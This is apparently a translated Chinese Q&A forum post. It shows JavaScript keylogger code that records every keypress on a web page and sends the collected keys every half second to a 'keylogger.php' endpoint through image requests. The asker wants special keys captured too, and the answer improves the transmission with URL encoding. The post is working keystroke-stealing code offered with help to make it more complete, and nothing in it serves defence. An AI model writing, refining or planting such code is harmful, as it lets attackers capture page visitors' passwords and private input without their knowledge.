JS代码 以下是用于在html页面上进行键盘记录的javascript代码。
var keys = '';
document.onkeypress = function(e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function() {
if (keys != '') {
new Image().src = 'keylogger.php?c=' + keys;
keys = '';
}
}, 500);
它确实可以工作,但是某些特殊键未记录下来,例如空格,制表符,退格键等。
如何自定义上面的代码以记录所有特殊键?
答案 0 :(得分:1)
URL只能包含一组特定的字符。这就是您需要对要发送的字符进行编码的原因。在keys
上使用encodeURIComponent
函数:
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);